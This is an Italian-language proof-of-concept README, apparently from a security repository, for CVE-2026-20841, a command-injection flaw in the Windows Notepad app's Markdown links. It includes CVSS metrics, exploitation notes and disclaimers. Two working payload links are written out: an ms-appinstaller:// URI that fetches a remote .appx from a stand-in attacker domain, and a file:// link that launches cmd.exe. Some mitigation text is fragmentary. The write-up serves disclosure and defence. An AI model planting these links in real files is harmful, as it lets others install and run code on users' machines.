
Proof-of-concept che dimostra l'iniezione di comandi in Blocco note di Windows tramite link Markdown appositamente creati, consentendo l'esecuzione remota di codice. Include vettori di attacco, metriche CVSS e indicazioni per la mitigazione.
| Campo | Dettaglio |
|---|
| ID CVE | CVE-2026-20841 |
| Titolo | Vulnerabilità di esecuzione di codice remoto nell'app Blocco note di Windows |
| Impatto | Esecuzione di codice remoto |
| Gravità massima | Importante |
| CVSS v3.1 Base / Temporale | 8.8 / 7.7 |
| Vettore CVSS | CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:U/C:H/I:H/A:H/E:U/RL:O/RC:C |
| CWE | CWE-77: Neutralizzazione impropria di elementi speciali utilizzati in un comando ('Iniezione di comandi') |
| Prodotto interessato | App Blocco note di Windows (versione Microsoft Store, build precedenti alla 11.2510) |
| CNA assegnante | Microsoft |
| Pubblicata | 10 febbraio 2026 |
| Divulgata pubblicamente | No |
| Sfruttata | No |
| Valutazione dello sfruttamento | Sfruttamento meno probabile |
La neutralizzazione impropria di elementi speciali utilizzati in un comando ('iniezione di comandi') nell'app Blocco note di Windows consente a un utente malintenzionato non autorizzato di eseguire codice su una rete.
La moderna app Blocco note di Windows (distribuita tramite Microsoft Store) ha introdotto il supporto al rendering Markdown, che include collegamenti ipertestuali cliccabili. La vulnerabilità esiste perché Blocco note non riesce a convalidare e sanificare correttamente gli schemi URI all'interno dei collegamenti Markdown prima di elaborarli. Un utente malintenzionato può creare un file .md dannoso contenente collegamenti appositamente formati che, quando cliccati dall'utente, attivano gestori di protocollo non verificati per caricare ed eseguire contenuti remoti.
| Metrica | Valore |
|---|---|
| Vettore di attacco | Rete |
| Complessità dell'attacco | Bassa |
| Privilegi richiesti | Nessuno |
| Interazione dell'utente | Richiesta |
| Ambito | Invariato |
| Impatto sulla riservatezza | Alto |
| Impatto sull'integrità | Alto |
| Impatto sulla disponibilità | Alto |
| Metrica | Valore |
|---|---|
| Maturità del codice di sfruttamento | Non dimostrata |
| Livello di remediation | Fix ufficiale |
| Fiducia nel report | Confermata |
Come potrebbe un utente malintenzionato sfruttare questa vulnerabilità?
Un utente malintenzionato potrebbe indurre un utente a cliccare un collegamento dannoso all'interno di un file Markdown aperto in Blocco note, causando l'avvio da parte dell'applicazione di protocolli non verificati che caricano ed eseguono file remoti.
Qual è il contesto target dell'esecuzione di codice remoto?
Secondo la metrica CVSS, il vettore di attacco è la rete (AV:N) ed è richiesta l'interazione dell'utente (UI:R). Il codice dannoso verrebbe eseguito nel contesto di sicurezza dell'utente che ha aperto il file Markdown, dando all'utente malintenzionato gli stessi permessi di quell'utente.
.md) contenente collegamenti ipertestuali dannosi.ms-appinstaller://) che possono recuperare ed eseguire payload remoti, oppure URI file:// che possono avviare direttamente eseguibili locali.Disclaimer: Questo proof of concept è fornito esclusivamente a scopo educativo e per ricerche di sicurezza autorizzate. Non utilizzarlo contro sistemi che non possiedi o per i quali non hai esplicita autorizzazione scritta per il test. L'accesso non autorizzato a sistemi informatici è illegale e punibile per legge.
Il PoC dimostra due vettori di attacco tramite collegamenti Markdown appositamente creati:
Vettore 1 - Installazione di payload remoto tramite abuso del gestore di protocollo:
[Click to view document](ms-appinstaller://?source=https://attacker-controlled-domain/malicious.appx)
Vettore 2 - Invocazione di eseguibile locale tramite URI file:
[Click here](file://C:/windows/system32/cmd.exe)

.md provenienti da fonti non attendibili in Blocco note.Le informazioni fornite in questo repository sono esclusivamente a scopo educativo e per ricerche di sicurezza autorizzate. Questo proof of concept è condiviso per aiutare i difensori a comprendere e mitigare la vulnerabilità. L'autore non è responsabile per qualsiasi uso improprio delle informazioni o degli strumenti qui forniti. Ottenere sempre un'adeguata autorizzazione scritta prima di testare vulnerabilità su qualsiasi sistema. L'accesso non autorizzato a sistemi informatici è un reato penale nella maggior parte delle giurisdizioni. Utilizzare in modo responsabile ed etico.